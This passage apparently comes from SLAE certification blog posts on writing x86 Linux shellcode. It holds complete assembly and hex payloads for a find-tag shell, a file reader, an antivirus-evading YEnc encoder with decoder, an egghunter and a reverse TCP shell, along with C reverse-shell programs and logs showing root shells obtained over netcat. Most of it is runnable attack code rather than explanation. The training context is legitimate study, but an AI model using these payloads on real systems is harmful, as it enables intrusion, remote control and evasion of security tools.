 80480a5:       59                      pop    ecx

080480a6 <tag_dup2_loop>:
 80480a6:       6a 3f                   push   0x3f
 80480a8:       58                      pop    eax
 80480a9:       cd 80                   int    0x80
 80480ab:       49                      dec    ecx
 80480ac:       79 f8                   jns    80480a6 <tag_dup2_loop>
 80480ae:       6a 0b                   push   0xb
 80480b0:       58                      pop    eax
 80480b1:       99                      cdq
 80480b2:       52                      push   edx
 80480b3:       68 2f 2f 73 68          push   0x68732f2f
 80480b8:       68 2f 62 69 6e          push   0x6e69622f
 80480bd:       89 e3                   mov    ebx,esp
 80480bf:       52                      push   edx
 80480c0:       53                      push   ebx
 80480c1:       89 e1                   mov    ecx,esp
 80480c3:       cd 80                   int    0x80
Shellcode size: 69
\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86\xfb\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x53\x4c\x41\x45\x75\xf0\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80
cc -DSHELLCODE=`asm-opcodes shell-find-tag` -W -Wall -fno-stack-protector -zexecstack -o shellcode skel.c
1
2
3
4
5
6
7
8
9
# ./shellcode 4242
Connection from 127.0.0.1:47590
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
HELO
id
SLAE
id
uid=0(root) gid=0(root) groups=0(root)

3. linux/x86/read_file

The final shellcode reads the configured file and writes its contents to a specific file descriptor. Since the above skeleton C program will be used, the contents are going to be written to the remote client over the network on descriptor 4. Since it needs to obtain the absolute address in memory of the path to open, it is using the well known JMP/CALL/POP technique to avoid having \x00 characters in the resulting shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
global _start

section .text
_start:
  jmp short read_eip

read_start:
  mov eax, 0x5
  ; int open(const char *, int)
  pop ebx                 ; path from the jmp/call/pop technique
  xor ecx, ecx            ; flags
  int 0x80

  mov ebx, eax            ; fd (from the return code of open(2))
  mov eax, 0x3
  ; ssize_t read(int, void *, size_t)
  mov edi, esp            ; save contents to the stack
  mov ecx, edi            ; buf
  mov edx, 0x1000         ; count
  int 0x80

  mov edx, eax            ; count (from the return code of read(2))
  mov eax, 0x4
  ; ssize_t write(int, const void *, size_t)
  mov ebx, 0x4            ; fd
  ; ecx is already pointing to the correct location
  int 0x80

  mov eax, 0x1
  ; void exit(int)
  mov ebx, 0x0            ; status
  int 0x80

read_eip:
  call dword read_start
  path: db "/proc/version", 0x00
retrieving the system call numbers
1
2
3
4
5
6
7
8
9
10
11
12
$ asm-syscall open
#define __NR_open 5
0x5
$ asm-syscall read
#define __NR_read 3
0x3
$ asm-syscall write
#define __NR_write 4
0x4
$ asm-syscall exit
#define __NR_exit 1
0x1

By making use of the listening skeleton server as before, the contents of the /proc/version file are echoed back to the remote client:

1
2
3
4
5
# ./shellcode 4242
Connection from 127.0.0.1:47624
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
Linux version 4.9.0-6-686-pae (debian-kernel@lists.debian.org) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07)

SLAE 0x04: Encoder

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

This one details the use of an encoding scheme to encode the shellcode with and decode it subsequently on runtime, which is rather handy to evade anti-virus engines.

I’ve decided to use YEnc (draft 1.3). YEnc is used to encode binary data to be transmitted by email or newsgroups and uses the complete 8-bit character set, thus making its output only 1-2% larger than the original.

Basically, the encoding process consists of for any given character, increment its ASCII value by 42, modulo 256. Next, if the resulting character is a forbidden one (0x00, 0x0a, 0x0d and 0x3d), output the escape 0x3d character and increment the previous resulting character by 64, modulo 256.

The encoder does not strictly follow the draft, since it will not use the header, trailer and the CRC32 checksum.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python

# Follows YEnc draft 1.3 with regards to the encoding process. No header or
# trailer will be used by the decoder, nor will the CRC32.
#
# An encoded character is equal to its original ASCII value plus 42, modulo 256.
# In case of a special character is detected (0x00, 0x0a, 0x0d and 0x3d), the
# resulting encoded character is prefixed with the escape 0x3d character and its
# already encoded result (with the above) will be incremented 64, modulo 256.

import sys

if len(sys.argv) == 1:
    sys.exit("usage: opcodes")
print "Original shellcode size: " + str(len(sys.argv[1]))

enc = list()
for c in sys.argv[1]:
    c = (ord(c) + 42) % 256
    if c == 0x00 or c == 0x0a or c == 0x0d or c == 0x3d:
        enc.append(hex(61))
        c = (c + 64) % 256                  # critical character; double encode
    enc.append(hex(c))                      # regular character

print "Encoded shellcode size: " + str(len(enc))
print ",".join(enc)
encoder in action
1
2
3
4
$ opcodes=`asm-opcodes ../0x01-bind/bind`; ./encoder.py `echo -e $opcodes`
Original shellcode size: 82
Encoded shellcode size: 83
0x5b,0xea,0x5b,0x20,0xc3,0x90,0xe2,0x91,0x2b,0x94,0x2c,0x85,0x94,0x2b,0x83,0xf7,0xaa,0xbd,0x90,0xe2,0x93,0x2b,0x80,0x90,0x92,0x3a,0xbc,0x90,0x94,0x2c,0xb3,0xb,0x94,0x3a,0x84,0xf7,0xaa,0x90,0xe2,0x95,0x2b,0x5b,0xf3,0xf7,0xaa,0x21,0xb,0x90,0xe2,0x96,0x2b,0xf7,0xaa,0xbd,0x6b,0x6b,0x94,0x69,0x82,0xf7,0xaa,0x73,0xa3,0x22,0x7a,0xda,0x35,0x92,0x98,0x59,0x9d,0x92,0x92,0x59,0x59,0x8c,0x93,0xb3,0x3d,0x4d,0x6b,0xf7,0xaa

The resulting shellcode is using the FPU fldz and fstenv instructions to get the absolute address of the shellcode. Due to the decoding process having to discard the escape characters, it is also pushing the final decoded characters to the stack instead of the data section, where it would imply having to overwrite the escape characters:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
global _start

section .text
_start:
  xor ecx, ecx
  mul ecx                         ; make eax and edx zero, as well

  fldz                            ; retrieve shellcode address via fldz
  jmp decoder_pc

  ; the shellcode address is 4 bytes below of fldz
  decoder_shellcode: db SHELLCODE
  ; get the shellcode length by using the $ identifier (which evaluates to
  ; the current address)
  decoder_length: equ $ - decoder_shellcode

decoder_pc:
  ; the FPU structure in memory contains the address of the last FPU
  ; instruction on byte 0xc (the previous 3 bytes are composed of the
  ; control, status and tag word)
  fstenv [esp - 0xc]
  pop eax
  lea esi, [eax + 0x4]            ; the shellcode is 4 bytes below

  mov cl, decoder_length
decoder_loop:
  cmp byte [esi], 0x3d            ; check if it is a regular character
  jnz decoder_regular             ; not an escaped character

  inc esi                         ; grab the next character, instead
  sub byte [esi], 0x40            ; per the draft, subtract 0x40
  dec ecx                         ; the escape character was skipped
decoder_regular:
  sub byte [esi], 0x2a            ; per the draft, subtract 0x2a
  mov al, [esi]                   ; can't mov m8, m8
  mov [esp], al                   ; move decoded character to the stack
  inc esi                         ; go to the next character
  inc esp                         ; increase stack for the next one
  inc edx                         ; save number of copied characters
  loop decoder_loop

  ; before jumping to the stack, its pointer needs to be adjusted by the
  ; number of copied characters; besides this also avoids the shellcode
  ; potentially overwriting itself with push instructions
  sub esp, edx
  jmp esp                         ; finally jump to the shellcode

As usual, the configure script in the base directory can be used to tweak the code. In this case, the new -s command-line option should point to the shellcode to encode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
$ ./configure -s 0x02-reverse/reverse
Using listening port: 0x9210
Using remote host: 0x0101017f
Using remote port: 0x9210
Using shellcode: 0x02-reverse/reverse
$ ./configure
Using listening port: 0x9210
Using remote host: 0x0101017f
Using remote port: 0x9210
Using shellcode: 0x01-bind/bind
$ cd 0x04-encoder/
$ make
nasm  -f elf32 -o decoder.o decoder.asm
ld -N -zexecstack -o decoder decoder.o
08048080 <_start>:
 8048080:       31 c9                   xor    ecx,ecx
 8048082:       f7 e1                   mul    ecx
 8048084:       d9 ee                   fldz
 8048086:       eb 53                   jmp    80480db <decoder_pc>

08048088 <decoder_shellcode>:
 8048088:       5b                      pop    ebx
 8048089:       ea 5b 20 c3 90 e2 91    jmp    0x91e2:0x90c3205b
 8048090:       2b 94 2c 85 94 2b 83    sub    edx,DWORD PTR [esp+ebp*1-0x7cd46b7b]
 8048097:       f7 aa bd 90 e2 93       imul   DWORD PTR [edx-0x6c1d6f43]
 804809d:       2b 80 90 92 3a bc       sub    eax,DWORD PTR [eax-0x43c56d70]
 80480a3:       90                      nop
 80480a4:       94                      xchg   esp,eax
 80480a5:       2c b3                   sub    al,0xb3
 80480a7:       0b 94 3a 84 f7 aa 90    or     edx,DWORD PTR [edx+edi*1-0x6f55087c]
 80480ae:       e2 95                   loop   8048045 <decoder_length+0x8047ff2>
 80480b0:       2b 5b f3                sub    ebx,DWORD PTR [ebx-0xd]
 80480b3:       f7 aa 21 0b 90 e2       imul   DWORD PTR [edx-0x1d6ff4df]
 80480b9:       96                      xchg   esi,eax
 80480ba:       2b f7                   sub    esi,edi
 80480bc:       aa                      stos   BYTE PTR es:[edi],al
 80480bd:       bd 6b 6b 94 69          mov    ebp,0x69946b6b
 80480c2:       82 f7 aa                xor    bh,0xaa
 80480c5:       73 a3                   jae    804806a <decoder_length+0x8048017>
 80480c7:       22 7a da                and    bh,BYTE PTR [edx-0x26]
 80480ca:       35 92 98 59 9d          xor    eax,0x9d599892
 80480cf:       92                      xchg   edx,eax
 80480d0:       92                      xchg   edx,eax
 80480d1:       59                      pop    ecx
 80480d2:       59                      pop    ecx
 80480d3:       8c 93 b3 3d 4d 6b       mov    WORD PTR [ebx+0x6b4d3db3],ss
 80480d9:       f7                      .byte 0xf7
 80480da:       aa                      stos   BYTE PTR es:[edi],al

080480db <decoder_pc>:
 80480db:       9b d9 74 24 f4          fstenv [esp-0xc]
 80480e0:       58                      pop    eax
 80480e1:       8d 70 04                lea    esi,[eax+0x4]
 80480e4:       b1 53                   mov    cl,0x53

080480e6 <decoder_loop>:
 80480e6:       80 3e 3d                cmp    BYTE PTR [esi],0x3d
 80480e9:       75 05                   jne    80480f0 <decoder_regular>
 80480eb:       46                      inc    esi
 80480ec:       80 2e 40                sub    BYTE PTR [esi],0x40
 80480ef:       49                      dec    ecx

080480f0 <decoder_regular>:
 80480f0:       80 2e 2a                sub    BYTE PTR [esi],0x2a
 80480f3:       8a 06                   mov    al,BYTE PTR [esi]
 80480f5:       88 04 24                mov    BYTE PTR [esp],al
 80480f8:       46                      inc    esi
 80480f9:       44                      inc    esp
 80480fa:       42                      inc    edx
 80480fb:       e2 e9                   loop   80480e6 <decoder_loop>
 80480fd:       29 d4                   sub    esp,edx
 80480ff:       ff e4                   jmp    esp
Shellcode size: 129
\x31\xc9\xf7\xe1\xd9\xee\xeb\x53\x5b\xea\x5b\x20\xc3\x90\xe2\x91\x2b\x94\x2c\x85\x94\x2b\x83\xf7\xaa\xbd\x90\xe2\x93\x2b\x80\x90\x92\x3a\xbc\x90\x94\x2c\xb3\x0b\x94\x3a\x84\xf7\xaa\x90\xe2\x95\x2b\x5b\xf3\xf7\xaa\x21\x0b\x90\xe2\x96\x2b\xf7\xaa\xbd\x6b\x6b\x94\x69\x82\xf7\xaa\x73\xa3\x22\x7a\xda\x35\x92\x98\x59\x9d\x92\x92\x59\x59\x8c\x93\xb3\x3d\x4d\x6b\xf7\xaa\x9b\xd9\x74\x24\xf4\x58\x8d\x70\x04\xb1\x53\x80\x3e\x3d\x75\x05\x46\x80\x2e\x40\x49\x80\x2e\x2a\x8a\x06\x88\x04\x24\x46\x44\x42\xe2\xe9\x29\xd4\xff\xe4
cc -DSHELLCODE=`asm-opcodes decoder` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c

Debugging with gdb(1) shows that the absolute address of the shellcode is correctly retrieved, since the address of the last FPU instruction is 0x08048084, thus putting the encoded shellcode 4 bytes below in 0x08048088:

debugging with gdb(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$ gdb -q decoder
Reading symbols from decoder...(no debugging symbols found)...done.
(gdb) b _start
Breakpoint 1 at 0x8048080
(gdb) r
Starting program: /attic/slae/exam/0x04-encoder/decoder
Dump of assembler code for function _start:
=> 0x08048080 <+0>:     xor    ecx,ecx
   0x08048082 <+2>:     mul    ecx
   0x08048084 <+4>:     fldz
   0x08048086 <+6>:     jmp    0x80480db <decoder_pc>
End of assembler dump.
$1 = [ IF ]

Breakpoint 1, 0x08048080 in _start ()
(gdb) disass decoder_pc
Dump of assembler code for function decoder_pc:
   0x080480db <+0>:     fstenv [esp-0xc]
   0x080480e0 <+5>:     pop    eax
   0x080480e1 <+6>:     lea    esi,[eax+0x4]
   0x080480e4 <+9>:     mov    cl,0x53
End of assembler dump.
(gdb) b *decoder_pc+6
Breakpoint 2 at 0x80480e1
(gdb) continue
Continuing.
Dump of assembler code for function decoder_pc:
   0x080480db <+0>:     fstenv [esp-0xc]
   0x080480e0 <+5>:     pop    eax
=> 0x080480e1 <+6>:     lea    esi,[eax+0x4]
   0x080480e4 <+9>:     mov    cl,0x53
End of assembler dump.
$2 = [ PF IF ]

Breakpoint 2, 0x080480e1 in decoder_pc ()
(gdb) i r eax
eax            0x8048084        134512772
(gdb) x/i $eax
   0x8048084 <_start+4>:        fldz
(gdb) x/4x decoder_shellcode
0x8048088 <decoder_shellcode>:  0x205bea5b      0x91e290c3      0x852c942b      0xf7832b94
(gdb) x/4x $eax+4
0x8048088 <decoder_shellcode>:  0x205bea5b      0x91e290c3      0x852c942b      0xf7832b94
(gdb) disass decoder_regular
Dump of assembler code for function decoder_regular:
   0x080480f0 <+0>:     sub    BYTE PTR [esi],0x2a
   0x080480f3 <+3>:     mov    al,BYTE PTR [esi]
   0x080480f5 <+5>:     mov    BYTE PTR [esp],al
   0x080480f8 <+8>:     inc    esi
   0x080480f9 <+9>:     inc    esp
   0x080480fa <+10>:    inc    edx
   0x080480fb <+11>:    loop   0x80480e6 <decoder_loop>
   0x080480fd <+13>:    sub    esp,edx
   0x080480ff <+15>:    jmp    esp
End of assembler dump.
(gdb) b *0x080480ff
Breakpoint 3 at 0x80480ff
(gdb) continue
Continuing.
Dump of assembler code for function decoder_regular:
   0x080480f0 <+0>:     sub    BYTE PTR [esi],0x2a
   0x080480f3 <+3>:     mov    al,BYTE PTR [esi]
   0x080480f5 <+5>:     mov    BYTE PTR [esp],al
   0x080480f8 <+8>:     inc    esi
   0x080480f9 <+9>:     inc    esp
   0x080480fa <+10>:    inc    edx
   0x080480fb <+11>:    loop   0x80480e6 <decoder_loop>
   0x080480fd <+13>:    sub    esp,edx
=> 0x080480ff <+15>:    jmp    esp
End of assembler dump.
$3 = [ PF SF IF ]

Breakpoint 3, 0x080480ff in decoder_regular ()
(gdb) x/10i $esp
   0xbffff714:  xor    eax,eax
   0xbffff716:  xor    esi,esi
   0xbffff718:  cdq
   0xbffff719:  mov    ax,0x167
   0xbffff71d:  push   0x2
   0xbffff71f:  pop    ebx
   0xbffff720:  push   0x1
   0xbffff722:  pop    ecx
   0xbffff723:  int    0x80
   0xbffff725:  xchg   ebx,eax

Given the above, the shellcode is being correctly decoded on the stack. Executing it yields a bind shell:

executing the shellcode
1
2
3
4
5
6
7
8
# ./shellcode
Shellcode length: 129
$ ss -nlt|grep 4242
LISTEN     0      0            *:4242                     *:*
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)

SLAE 0x03: Egghunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

This exercise consisted in using the egghunter technique, which is rather useful when a shellcode is bigger than the available space. On those circumstances, an egg can be planted right before the second stage shellcode which when found by the hunter will be executed.

There is an interesting resource by skape which explains this concept quite well, as well as, various Linux implementations.

The one I came up with is based on his revisited access(2) system call with some differences. I’ve decided to instead use the rmdir(2) system call and to start on the very first page of the process virtual address space. Even though Linux reserves the first few pages for performance reasons and prevents a process of allocating them to avoid potential security issues related to NULL pointer dereferences on page zero, not starting the search at 0x10000 (see vm.mmap_min_addr) allows shaving off a few bytes.

The rmdir(2) system call will check if the provided address is valid. If for any reason the address can’t be accessed (unmapped, invalid permissions, etc), then EFAULT (-14) is returned, which the egghunter should check for robustness. In that case, the next page (PAGE_SIZE) is tried until addressable memory is found.

retrieving the error code
1
2
3
$ asm-errno EFAULT
14
0xfffffffffffffff2
rmdir(2) prototype
1
int rmdir(const char *pathname);
retrieving the system call number and size of page
1
2
3
4
5
$ asm-syscall rmdir
#define __NR_rmdir 40
0x28
$ getconf PAGE_SIZE
4096
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 40                 |
| ebx      | address to search  |
+----------+--------------------+

To avoid repeating the egg twice and save space, the non-executable egg is also calculated on the fly by incrementing its value.

String comparison is done with the scas family, which depending on the direction flag (DF) being set or not it automatically increments or decrements the pointer to the next character. To illustrate this, consider the following program where a string is printed to the screen character by character. This is using the fldz and fstenv instructions to get the absolute address of the string to print:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
global _start

section .text
direction_print:
  pushad

  mov al, 0x4
  ; ssize_t write(int, const void *, size_t)
  mov bl, 0x1             ; fd
  lea ecx, [esp + 0x1c]   ; buf
  mov dl, 0x1             ; count
  int 0x80

  popad
  ret

_start:
  cld                     ; clear direction flag

  fldz                    ; retrieve the string address via fstenv
  jmp direction_pc

  ; the string is 4 bytes below of fdlz
  str: db "this is a string", 0xa

direction_loop:
  lodsb
  call direction_print
  loop direction_loop

  mov al, 0x1
  ; void exit(int)
  int 0x80

direction_pc:
  ; the FPU structure in memory contains the address of the last FPU
  ; instruction on byte 0xc (the previous 3 bytes are composed of the
  ; control, status and tag word)
  fstenv [esp - 0xc]
  pop ecx

  lea esi, [ecx + 0x4]    ; string is 4 bytes below
  push 0x11               ; string length
  pop ecx

  jmp direction_loop
1
2
3
4
5
6
$ asm-compile direction-off.asm
$ asm-opcodes direction-off
Shellcode size: 63
\x60\xb0\x04\xb3\x01\x8d\x4c\x24\x1c\xb2\x01\xcd\x80\x61\xc3\xfc\xd9\xee\xeb\x1d\x74\x68\x69\x73\x20\x69\x73\x20\x61\x20\x73\x74\x72\x69\x6e\x67\x0a\xac\xe8\xd5\xff\xff\xff\xe2\xf8\xb0\x01\xcd\x80\x9b\xd9\x74\x24\xf4\x59\x8d\x71\x04\x6a\x11\x59\xeb\xe6
$ ./direction-off
this is a string

Below, the direction flag (DF) is being set, resulting in the string being printed backwards as expected:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ diff -u direction-off.asm direction-on.asm
--- direction-off.asm   2018-06-24 17:20:35.044465700 +0100
+++ direction-on.asm    2018-06-24 18:54:48.168812600 +0100
@@ -15,7 +15,7 @@
        ret

 _start:
-       cld                     ; clear direction flag
+       std                     ; set direction flag

        fldz                    ; retrieve the string address via fstenv
        jmp direction_pc
@@ -39,7 +39,7 @@
        fstenv [esp - 0xc]
        pop ecx

-       lea esi, [ecx + 0x4]    ; string is 4 bytes below
+       lea esi, [ecx + 0x4 + 0x11 - 1] ; string is 4 bytes below
        push 0x11               ; string length
        pop ecx
1
2
3
4
$ asm-compile direction-on.asm
$ ./direction-on

gnirts a si siht$

Given all of the above, the resulting egghunter shellcode is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
global _start

section .text
_start:
  cld                     ; clear direction flag for scasd
  xor ebx, ebx

egg_restart:
  push 0x28
  ; int rmdir(const char *)
  pop eax
  ; increment ebx to either align a page or check the next address
  inc ebx                 ; pathname
  int 0x80

  cmp al, 0xf2            ; check for a page fault on the lower bits only
  jnz egg_check           ; it's a valid page

  or bx, 0xfff            ; not an addressable page
  jmp egg_restart         ; check the next page (0xfff + 1 = PAGE_SIZE)

egg_check:
  mov eax, 0xcafebabd     ; add initial not static egg value
  inc eax                 ; increment the value to decrease the size
  mov edi, ebx            ; compare eax with edi
  scasd                   ; edi is incremented since the direction flag is zero
  jnz egg_restart         ; egg not found, try the next address

  jmp edi                 ; edi points to the shellcode to execute

To run the shellcode, like before, the configure command should be issued first, followed by make. The second stage payload can be specified by the STAGE2 variable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ./configure
Using listening port: 0x9210
Using remote host: 0x0101017f
Using remote port: 0x9210
$ cd 0x03-egghunter/
$ STAGE2=../0x02-reverse/reverse make
nasm  -f elf32 -o egghunter.o egghunter.asm
ld -N -zexecstack -o egghunter egghunter.o
08048060 <_start>:
 8048060:       fc                      cld
 8048061:       31 db                   xor    ebx,ebx

08048063 <egg_restart>:
 8048063:       6a 28                   push   0x28
 8048065:       58                      pop    eax
 8048066:       43                      inc    ebx
 8048067:       cd 80                   int    0x80
 8048069:       3c f2                   cmp    al,0xf2
 804806b:       75 07                   jne    8048074 <egg_check>
 804806d:       66 81 cb ff 0f          or     bx,0xfff
 8048072:       eb ef                   jmp    8048063 <egg_restart>

08048074 <egg_check>:
 8048074:       b8 bd ba fe ca          mov    eax,0xcafebabd
 8048079:       40                      inc    eax
 804807a:       89 df                   mov    edi,ebx
 804807c:       af                      scas   eax,DWORD PTR es:[edi]
 804807d:       75 e4                   jne    8048063 <egg_restart>
 804807f:       ff e7                   jmp    edi
Shellcode size: 33
\xfc\x31\xdb\x6a\x28\x58\x43\xcd\x80\x3c\xf2\x75\x07\x66\x81\xcb\xff\x0f\xeb\xef\xb8\xbd\xba\xfe\xca\x40\x89\xdf\xaf\x75\xe4\xff\xe7
cc -DSHELLCODE=`asm-opcodes egghunter` -DSTAGE2=`asm-opcodes ../0x01-bind/bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode skel.c
1
2
3
4
5
6
7
8
$ nc -lv 127.1.1.1 4242
Listening on [127.1.1.1] (family 0, port 4242)
Connection from localhost 51918 received!
id
uid=0(root) gid=0(root) groups=0(root)
# ./shellcode
Egghunter length: 33
Second stage length: 70

SLAE 0x02: Reverse TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

Like the previous bind shell, this one is using the well known socket functions. Given that it is supposed to connect to a remote system, it needs to call the connect(2) function instead of accepting. There’s also no need of binding, since the kernel will automatically choose an ephemeral port and determine the source IP address.

connect(2) prototype
1
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Just like bind(2), the second argument has to be manually packed with the IP address and port to connect to:

retrieving the system call number and constants
1
2
3
4
5
$ asm-syscall connect
#define __NR_connect 362
0x16a
$ python -c 'import socket; print socket.AF_INET'
2
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 362                |      +---------------------------------+ H
| ebx      | socket(2) fd       |      | IP address (network byte order) |
| ecx      | esp pointer        +-->>--+ port (network byte order)       |
| edx      | 16                 |      | AF_INET (2)                     |
+----------+--------------------+      +---------------------------------+ L
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <sys/types.h>
#include <sys/socket.h>

#include <arpa/inet.h>

#include <err.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
  char                    *exec_argv[] = { "/bin/sh", NULL };
  char                    *endptr;
  int                      fd;
  long                     port;
  struct sockaddr_in       sa;

  if (argc == 1)
      errx(1, "usage: host port");

  errno = 0;
  port = strtol(argv[2], &endptr, 10);
  if (*endptr != '\0')
      errx(1, "not a number");
  if (errno == ERANGE || (port <= 1024 || port >= 65536))
      errx(1, "port out of range");

  if ((fd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      err(1, "socket");

  bzero(&sa, sizeof sa);
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = inet_addr(argv[1]);
  sa.sin_port = htons(port);

  if (connect(fd, (struct sockaddr *) &sa, sizeof sa) == -1)
      err(1, "connect");

  if (dup2(fd, STDIN_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd, STDOUT_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd, STDERR_FILENO) == -1)
      err(1, "dup2");

  execve(exec_argv[0], exec_argv, NULL);
  err(1, "execve");

  return (0);    /* NOTREACHED */
}

Again, one should just use getaddrinfo(3) instead. This has the advantage of also being protocol agnostic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <sys/types.h>
#include <sys/socket.h>

#include <err.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
reverse_try(struct addrinfo *p)
{
  int fd;

  if ((fd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
      warn("socket");
      return (-1);
  }
  if (connect(fd, p->ai_addr, p->ai_addrlen) == -1) {
      close(fd);
      warn("connect");
      return (-1);
  }

  return (fd);
}

int
main(int argc, char **argv)
{
  char            *exec_args[] = { "/bin/sh", NULL };
  int              ai_ret, fd;
  struct addrinfo  ai_hints;
  struct addrinfo *ai_ptr, *ai_srv;

  if (argc != 3)
      errx(1, "usage: host port");

  memset(&ai_hints, 0, sizeof ai_hints);
  ai_hints.ai_family = AF_UNSPEC;
  ai_hints.ai_socktype = SOCK_STREAM;

  if ((ai_ret = getaddrinfo(argv[1], argv[2], &ai_hints, &ai_srv)) == -1)
      errx(1, "getaddrinfo: %s", gai_strerror(ai_ret));
  for (ai_ptr = ai_srv; ai_ptr != NULL; ai_ptr = ai_ptr->ai_next) {
      if ((fd = reverse_try(ai_ptr)) != -1)
          break;
  }
  if (ai_ptr == NULL)
      errx(1, "failed to connect");
  freeaddrinfo(ai_srv);

  if (dup2(fd, STDIN_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd, STDOUT_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd, STDERR_FILENO) == -1)
      err(1, "dup2");

  execve(exec_args[0], exec_args, NULL);
  err(1, "execve");

  return (0);    /* NOTREACHED */
}

As for the commented shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
global _start

section .text
_start:
  xor eax, eax
  cdq                     ; set edx to zero as well, by sign extending eax

  mov ax, 0x167           ; use mov instead of push imm16 and pop r16
  ; int socket(int, int, int)
  push 0x2                ; PF_INET
  pop ebx                 ; domain
  push 0x1                ; SOCK_STREAM
  pop ecx                 ; type
  ; edx (protocol) initialized to zero by the cdq instruction above
  int 0x80

  xchg ebx, eax           ; fd on ebx from this point below
  mov ax, 0x16a           ; use mov instead of push imm16 and pop r16
  ; int connect(int, const struct sockaddr *, socklen_t)
  push HOST               ; host in network byte order
  push word PORT          ; port in network byte order
  push word 0x2           ; AF_INET
  mov ecx, esp            ; addr
  push 0x10               ; 16 bytes in total
  pop edx                 ; addrlen
  int 0x80

  push 0x2
  pop ecx                 ; newfd
bind_dup2_loop:
  push 0x3f
  ; int dup2(int, int)
  pop eax 
  int 0x80
  dec ecx
  jns bind_dup2_loop      ; don't jump if ecx is positive

  cdq                     ; eax is zero from the dup2(2) above (stdin fd)
  push eax                ; to null terminate the filename
  push 0xb
  ; int execve(const char *, char *const [], char *const [])
  pop eax
  push 0x68732f6e         ; n/sh
  push 0x69622f2f         ; //bi
  mov ebx, esp            ; filename
  inc ecx                 ; ecx (argv) is 0xffffffff from the above dup(2)
  ; edx is already zero
  int 0x80

To define the remote host and port, like with the bind shell, the configure script should be used with the -h (127.1.1.1 by default) and -r (4242/tcp by default) command-line options:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ ./configure -h 127.2.2.2 -r 1337
Using remote host: 0x0202027f
Using listening port: 0x9210
Using remote port: 0x3905
$ ./configure -h 127.0.0.1 -r 1337
Host contains NUL bytes!
$ ./configure -h 127.3.3.3 -r 1280
Port contains NUL bytes!
$ ./configure
Using remote host: 0x0101017f
Using listening port: 0x9210
Using remote port: 0x9210
$ cd 0x02-reverse/
$ make
